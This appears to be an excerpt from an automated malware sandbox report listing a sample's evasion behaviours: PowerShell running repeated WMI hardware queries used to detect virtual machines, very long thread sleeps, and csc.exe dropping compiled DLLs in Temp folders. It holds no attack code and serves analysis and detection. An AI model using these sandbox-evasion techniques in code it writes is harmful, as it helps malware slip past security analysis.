Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590984	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591031	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591032
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5517	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5270
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5080
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 423
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2349
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1538	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1454
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1495
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1473
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2699
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1500	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1459
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1370
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1174
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2233	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2205	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2208	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2230	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.dll	Jump to dropped file

Source: C:\Windows\System32\loaddll64.exe TID: 7272	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep count: 5517 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep count: 345 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 97 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 5080 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 423 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 98 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 3609 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 2349 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep count: 98 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 1538 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8384	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8272	Thread sleep time: -590984s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep count: 1454 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8280	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1668	Thread sleep count: 41 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8412	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1668	Thread sleep count: 167 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8432	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8280	Thread sleep time: -591031s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1364	Thread sleep count: 1495 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8300	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep count: 42 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8456	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep count: 171 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8300	Thread sleep time: -591093s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep count: 1473 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8304	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8200	Thread sleep count: 32 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8200	Thread sleep count: 185 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9068	Thread sleep count: 2699 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9068	Thread sleep time: -2699000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9068	Thread sleep count: 5372 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9068	Thread sleep time: -5372000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8304	Thread sleep time: -591250s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep count: 1500 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8380	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8292	Thread sleep count: 257 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep count: 198 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8380	Thread sleep time: -591031s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8208	Thread sleep count: 1459 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8420	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8308	Thread sleep count: 258 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8588	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8420	Thread sleep time: -590875s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8480	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372	Thread sleep time: -590750s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8228	Thread sleep count: 1174 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8312	Thread sleep count: 257 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 916	Thread sleep count: 308 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8388	Thread sleep time: -591032s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590984	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591031	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
